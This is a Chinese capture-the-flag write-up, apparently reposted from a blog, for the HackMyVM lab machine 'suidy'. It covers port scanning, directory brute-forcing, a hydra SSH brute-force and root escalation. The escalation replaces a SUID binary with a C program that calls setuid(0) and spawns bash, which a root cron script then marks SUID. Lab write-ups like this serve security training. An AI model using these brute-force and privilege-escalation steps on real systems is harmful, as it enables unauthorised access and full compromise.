HackMyVM-suidy

admin 2022年4月23日02:24:23HackMyVM-suidy已关闭评论23 views字数 1246阅读4分9秒阅读模式

靶机地址:https://hackmyvm.eu/machines/machine.php?vm=suidy

主机信息

kali:192.168.85.128
suidy:192.168.85.177

端口扫描

nmap -sV -p- -T 5 192.168.85.177

HackMyVM-suidy

Web渗透

访问80端口

HackMyVM-suidy

进行目录扫描

python3 dirsearch.py -u "http://192.168.85.177/"

HackMyVM-suidy

有一个robots.txt

HackMyVM-suidy

在robots.txt的最下面发现一个/shehatesme

HackMyVM-suidy

访问/shehatesme,有一段话

She hates me because I FOUND THE REAL SECRET! I put in this directory a lot of .txt files. ONE of .txt files contains credentials like "theuser/thepass" to access to her system! All that you need is an small dict from Seclist!

提示在/shehatesme/目录下有很多txt文件,并且可以登录,提示字典seclist
使用directory-list-2.3-medium.txt字典进行爆破

HackMyVM-suidy

HackMyVM-suidy

HackMyVM-suidy

爆破发现多个用户名密码
将获得的用户名密码放到文件中

HackMyVM-suidy

爆破ssh

hydra -L user -P pass 192.168.85.177 ssh

HackMyVM-suidy

得到theuser/thepass

shell

登录ssh

HackMyVM-suidy

获得user.txt

HackMyVM-suidy

提权

在home目录中还有一个用户suidy

HackMyVM-suidy

进入suidy目录,有一个suidyyyyy可执行文件

HackMyVM-suidy

运行suidyyyyy获得suidy权限

HackMyVM-suidy

查看note.txt

```
I love SUID files!
The best file is suidyyyyy because users can use it to feel as I feel.
root know it and run an script to be sure that my file has SUID.
If you are "theuser" I hate you!

-suidy

```

root know it and run an script to be sure that my file has SUID.
猜测是有有程序定时给suidyyyyy权限
上传pspy64,进行监控

HackMyVM-suidy

发现会定时执行timer.sh,应该是次程序在给suidyyyyy权限
可以写一个suidyyyyy替换掉现在的suidyyyyy
在写文件的时候发现suidy没有权限

HackMyVM-suidy

HackMyVM-suidy

尝试使用theuser写
写入成功

```

include

include

void main(){
setuid(0);
setgid(0);
system("bash -i");
}
```

gcc编译一下

gcc suidyyyyy.c -o suidyyyyy

HackMyVM-suidy

将原来的suidyyyyy替换掉

HackMyVM-suidy

过了一段时间会设置成suid权限

HackMyVM-suidy

运行获得root权限

HackMyVM-suidy

获得root.txt

HackMyVM-suidy

timer.sh的内容为:

```

!/bin/sh

chmod +s /home/suidy/suidyyyyy
```

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:24:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackMyVM-suidyhttps://cn-sec.com/archives/917275.html